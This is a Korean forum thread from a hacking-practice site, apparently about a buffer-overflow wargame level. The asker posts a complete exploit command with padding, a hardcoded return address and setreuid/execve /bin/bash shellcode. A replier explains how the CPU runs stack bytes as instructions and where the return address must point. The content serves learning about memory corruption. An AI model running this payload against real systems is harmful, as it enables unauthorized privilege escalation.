리눅스

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94cyan

쉘코드 실행 질문입니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_linux&no=3580 [복사]

메모리(stack)관련 질문이기도 한데요
bof를 하려고합니다
/home/goblin/orc "`python -c 'print "a"*44+"\x23\xfc\xff\xbf"'`" "`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"'`"

argv[2]에 쉘코드를 넣는겁니다.
(쉘코드를 몰라서 어느곳에서 복사해왔는데..올바른 쉘코드인지는 잘 모르겠네요
마지막에 /bin/bash가 들어것도 의구심이들고..)
저 쉘코드를 넣으면

낮은주소 >>>>>>>>>>>>>>>>>>>>>>>>>>>높은주소
0x31c0b031......................................................................dcffffff
이런식으로 들어가지않습니까.
이때 맨 앞 0x31의 주소값을 ret에 넣으나 \xff의 주소값을 넣으나
실행은 제대로 되나요?

문자열출력은
어느쪽을 넣으나 처음에서부터 널값까지 출력을하는데
쉘코드도 그런 원리로 실행이되는거..맞나요?

//아니라면 다행인데....맞다면....답이없네요

Hit : 3728 Date : 2010/05/14 08:43


gamja	아닌데요... 문자열 출력도 낮은주소부터 높은주소로 올라가며 널이 나올 때까지 읽는거구요, 쉘코드가 실행이 되는 원리는 cpu가 스택에 저장된 0x31과 같은 hex값들을 '명령어로 해석해서' 실행하는 겁니다. 이 0x31 부터 시작하는 쉘코드를 어셈블리어로 바꿔보면 쉘을 띄우는 루틴이 나오죠. 어셈블리어는 기계어와 1:1 대응됩니다. 어셈블리어로 쉘을 띄우는 코드를 작성하고, 그 어셈블리어에 대응되는 기계어를 뽑은것이 바로 쉘코드 입니다. 쉘코드가 곧 기계어죠. 문자열을 읽는것은 단순히 데이터를 읽어오는 개념이구요, 코드를 실행(명령어로 인식해서)하는 개념과는 다르죠. 스택을 제외한 모든 영역은 스택과 반대로 자라기 때문에 쉘코드는 낮은주소에서 높은주소로 올라가며 명령어로 인식되어 실행되게 됩니다. argv인자가 스택에 저장될때 낮은주소부터 높은주소로 저장되기 때문에(배열처럼) 리턴주소는 쉘코드의 첫부분(위에선 0x31)이 들어있는 곳의 주소를 주셔야 합니다.	2010/06/14
gamja	원래 프로그램의 실행과 관련된 기계어는 코드영역에 존재해야 하지만, bof를내서 스택영역에 우리가 만든 기계어(쉘코드)를 넣고 리턴주소를 쉘코드가 들어있는곳의 주소로 줌으로써 스택을 코드영역처럼 인식하여 명령어를 실행하게 하는거죠. 그러므로 리턴주소가 스택의 주소로 바뀌었어도 스택영역인지 코드영역인지 판단하지 않고 단순히 그 주소로부터 명령어를 읽어나가는 거죠.(코드영역에서 코드를 읽어나가는 방식과 똑같이-낮은주소에서높은주소로)	2010/06/14